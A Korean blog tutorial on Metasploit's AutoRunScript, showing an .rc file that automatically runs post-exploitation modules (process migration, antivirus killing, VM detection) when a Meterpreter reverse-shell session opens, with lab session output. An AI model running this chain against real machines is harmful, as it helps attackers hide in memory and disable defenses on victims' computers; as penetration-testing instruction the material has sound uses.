[METASPLOIT] Metasploit의 AutoRunScript를 이용한 침투 후 자동 환경 구성

Metasploit 에선 AutoRunScript 라는 재미있는 기능을 지원합니다. 이 기능은 사용자가 미리 .rc 파일을 생성하여 동작할 모듈을 지정해놓고 Exploit 시 자동으로 등록한 동작을 수행하도록 할 수 있습니다. 이런 기능을 통해 공격자가 침투 후 수행해야할 부분에 대해 어느정도 시간 단축이 가능합니다.

Metasploit AutoRunScript 사용하기(Using AutoRunScript)

먼저 자동으로 수행할 명령을 담은 rc 파일을 생성합니다. root 하위에 AutoShell.rc 라는 이름으로 생성하였습니다. 이 파일에는 침투 시 자동으로 수행할 msf 의 명령행을 넣습니다.

cat /root/AutoShell.rc 
run post/windows/manage/migrate
run post/windows/manage/killav
run post/windows/gather/checkvm

작성 후 MSF 에서 AutoRunScript 를 이용하여 해당 파일을 로드합니다.

hahwul exploit(handler) #> set AutoRunScript multi_console_command -rc /root/AutoShell.rc

AutoRunScript => multi_console_command -r /root/AutoShell.rc

*참고 2017년에 -rc 에서 -r 옵션으로 변경되었습니다. 커밋 첨부하니 참고해주세요~ (https://github.com/rapid7/metasploit-framework/pull/8802)

설정 후 Exploit 에 성공하면 아래와 같이 AutoShell.rc 파일을 로드하고 지정한 migrate, killav, checkvm 등의 명령을 수행합니다. 대체로 침투와 동시에 안전한 shell 유지를 위해 migrate 를 통해 다른 프로세스의 메모리 공간으로 숨거나 새로운 프로세스를 생성하여 타겟 PC에서 연결을 유지하는데, 이와 같이 스크립트로 등록하면 조금 더 쉽게 미리 세팅이 가능합니다.

hahwul exploit(handler) #> exploit
[*] Started reverse handler on 192.168.56.1:4444
[*] Starting the payload handler...
[*] Sending stage (885806 bytes) to 192.168.56.101
[*] Meterpreter session 3 opened (192.168.56.1:4444 -> 192.168.56.101:1034) at 2015-08-17 17:37:41 +0900

meterpreter >
[*] Session ID 3 (192.168.56.1:4444 -> 192.168.56.101:1034) processing AutoRunScript 'multi_console_command -rc /root/AutoShell.rc'

[*] Running Command List ...
[*]  Running command run post/windows/manage/migrate
[*] Running module against BEGINNER-A36957
[*] Current server process: exc.exe (156)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 780
[+] Successfully migrated to process 780
[*]  Running command run post/windows/manage/killav
[*] No target processes were found.
[*]  Running command run post/windows/gather/checkvm
[*] Checking if BEGINNER-A36957 is a Virtual Machine .....
[*] This is a Sun VirtualBox Virtual Machine

위와 같이 자동으로 migrate, killav, checkvm 모듈이 실행됨을 알 수 있습니다. 위 예시처럼 꼭 3개의 명령을 넣을 필요는 없습니다. 각자 세팅, 타겟 환경에 맞게 구성하여 사용하시면 조금 더 편리하게 침투가 가능합니다.

Reference Site

https://offensiveinfosec.wordpress.com/tag/autorunscript/